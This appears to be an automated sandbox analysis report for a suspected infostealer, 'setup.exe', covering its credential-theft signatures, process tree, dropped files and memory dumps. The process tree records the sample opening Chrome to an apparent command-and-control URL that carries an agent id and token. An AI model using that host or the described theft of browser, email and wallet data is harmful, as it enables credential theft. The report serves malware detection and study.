Analysis

  • max time kernel
    298s
  • max time network
    291s
  • platform
    windows10-ltsc_2021_x64
  • resource
    win10ltsc2021-20260513-en
  • resource tags

    arch:x64arch:x86image:win10ltsc2021-20260513-enlocale:en-usos:windows10-ltsc_2021-x64systemwindows
  • submitted
    04/08/2026, 18:29

General

  • Target
    setup.exe
  • Size 4.5MB
  • Sample260804-w5c6baxdpg
  • SHA256 e08c0890b11d91b7ee58de25cc190e1fdf760d76b6d0821aa2d1f442b43e719a
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 34 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4796
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=EAEEDE09BD24956701AEC7B30ADF174C&token=d4833d6fb8117804029adba9d2b9e47b9d31b5&description=&agent=Chrome
      2⤵
      • Checks processor information in registry
      • Enumerates system info in registry
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:4800
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x21c,0x220,0x224,0x1f8,0x228,0x7ff89ed1c728,0x7ff89ed1c734,0x7ff89ed1c740
        3⤵
          PID:1536
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1796,i,209857625389116934,1334116044233840272,262144 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2004 /prefetch:2
          3⤵
            PID:2260
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2260,i,4951894233884153330,7625353001678616244,524288 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2256 /prefetch:3
            3⤵
            • System Time Discovery
            PID:3888
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2412,i,1860068108642341051,9943210906322779985,524288 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2276 /prefetch:8
            3⤵
              PID:4352
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3148,i,2443046131028899650,3330000280502337236,2097152 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3196 /prefetch:1
              3⤵
                PID:2644
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3160,i,17009826816879041673,7169898157970524514,2097152 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3216 /prefetch:1
                3⤵
                  PID:2440
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4264,i,7170152799916201284,8464398911516652924,2097152 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4276 /prefetch:2
                  3⤵
                    PID:4852
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4256,i,14163949117334687641,7782371285797571564,524288 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4644 /prefetch:8
                    3⤵
                      PID:1120
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5316,i,11682332128853790041,1391372791087797264,524288 --field-trial-handle=2008,i,5279409804716352378,12485783193848257002,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5308 /prefetch:8
                      3⤵
                        PID:3164
                  • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                    "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                    1⤵
                      PID:2192
                    • C:\Windows\system32\svchost.exe
                      C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                      1⤵
                        PID:228

                      Network

                            MITRE ATT&CK Enterprise v16

                            Replay Monitor

                            Loading Replay Monitor...

                            Downloads

                            BookmarkMergedSurfaceOrdering

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                            • Size 6B
                            • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                            • MD5 SHA1 SHA512

                            SCT Auditing Pending Reports

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                            • Size 2B
                            • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                            • MD5 SHA1 SHA512

                            Web Data

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                            • Size 138KB
                            • SHA256 950d4eb069f3a2672c3fbdb034124c3b7ed3ed797e080bc9dd627774f596ea12
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            Last Version

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Last Version
                            • Size 13B
                            • SHA256 e5efa9eb104cd0b25149c2e789bec8d9aa4ba95678831b657eef7780a281c391
                            • MD5 SHA1 SHA512

                            Local State

                            • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                            • Size 115KB
                            • SHA256 4f8f4ed17315bfb9bfdaa93ebd5711961c27eea4ffee50ab259a4d63adf4f299
                            • MD5 SHA1 SHA512 SSDEEP TLSH

                            memory/4796-53-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-50-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-67-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-66-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-65-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-64-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-63-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-62-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-61-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-60-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-59-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-58-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-57-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-56-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-55-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-54-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-0-0x0000000023100000-0x0000000023161000-memory.dmp

                            memory/4796-52-0x0000000023100000-0x0000000023161000-memory.dmp

                            memory/4796-51-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-38-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-49-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-48-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-47-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-46-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-45-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-44-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-43-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-42-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-41-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-39-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-40-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-76-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-81-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-82-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-80-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-79-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-78-0x0000000023E10000-0x0000000023E11000-memory.dmp

                            memory/4796-77-0x0000000023E10000-0x0000000023E11000-memory.dmp